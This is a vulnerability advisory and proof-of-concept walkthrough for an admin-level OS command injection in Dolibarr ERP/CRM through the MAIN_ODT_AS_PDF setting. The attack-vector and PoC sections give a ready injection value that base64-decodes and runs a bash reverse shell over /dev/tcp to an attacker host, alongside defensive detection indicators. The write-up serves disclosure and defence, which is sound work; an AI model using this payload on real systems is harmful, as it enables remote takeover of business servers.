Dolibarr ERP/CRM OS Command Injection via MAIN_ODT_AS_PDF (CVE-2026-23500)

Metadata

Affected Target

Summary

Dolibarr’s ODT-to-PDF document conversion feature builds a shell command by concatenating the admin-configurable MAIN_ODT_AS_PDF global setting with a sanitized filename before passing it to PHP’s exec(). While the filename argument is escaped with escapeshellcmd(), the MAIN_ODT_AS_PDF value itself is pulled straight from the database and prepended to the command unescaped. An administrator (or attacker who has obtained admin access) can set this constant to a value containing a ; command separator followed by arbitrary shell commands, which then execute whenever a proposal/invoice is generated from an ODT template. The PoC demonstrates full remote code execution by injecting a base64-encoded reverse shell that is triggered on PDF generation.

Vulnerability Details

Root Cause

htdocs/includes/odtphp/odf.php (~line 930) concatenates the unsanitized MAIN_ODT_AS_PDF configuration constant directly into a shell command string passed to exec(), allowing command injection via a trailing ; separator.

Attack Vector

1. Authenticate to Dolibarr as an Administrator.
2. Enable the “Commercial Proposals” module and activate ODT templates in its setup.
3. Navigate to Home -> Setup -> Other Setup and set MAIN_ODT_AS_PDF to jodconverter; echo <base64-reverse-shell> | base64 -d | bash.
4. Start a netcat listener on the attacker host.
5. Navigate to Commerce -> New proposal, pick an ODT template, and click Generate to trigger the conversion routine and the injected command.
6. Receive a shell on the netcat listener with the privileges of the web server user.

Impact

Full remote code execution as the web server user (typically www-data), enabling credential theft, code modification, and potential full host/container compromise.

Environment / Lab Setup

Target:   Dolibarr <= 22.0.4 with Commercial Proposals + ODT templates enabled
Attacker: netcat listener, base64, admin-level Dolibarr session

Proof of Concept

PoC Script

See poc.sh in this folder. No standalone script was included in the source repository (it was a manual, UI-driven walkthrough); poc.sh reproduces the exact documented payload/steps as a runnable reference.

1

./poc.sh <attacker_ip> <attacker_port>

The script prints the base64-encoded reverse-shell payload to set as the MAIN_ODT_AS_PDF constant value and the manual UI steps (login as Administrator, enable ODT templates, set the constant, generate a proposal PDF) needed to trigger it. Generating a proposal PDF causes Dolibarr to execute the decoded bash -i >& /dev/tcp/<attacker>/<port> 0>&1 command, opening a reverse shell to the attacker’s netcat listener.

Detection & Indicators of Compromise

www-data ... /bin/sh -c jodconverter; echo ... | base64 -d | bash

Signs of compromise:

• MAIN_ODT_AS_PDF configuration constant containing shell metacharacters (;, |, &&) or base64-encoded blobs.
• Outbound TCP connections from the web server process shortly after a proposal/invoice ODT-to-PDF generation request.
• Unexpected bash/sh child processes under the PHP-FPM or Apache worker for Dolibarr.

Remediation

References

• Source repository

Notes

Mirrored from https://github.com/lukasz-rybak/CVE-2026-23500 on 2026-07-05.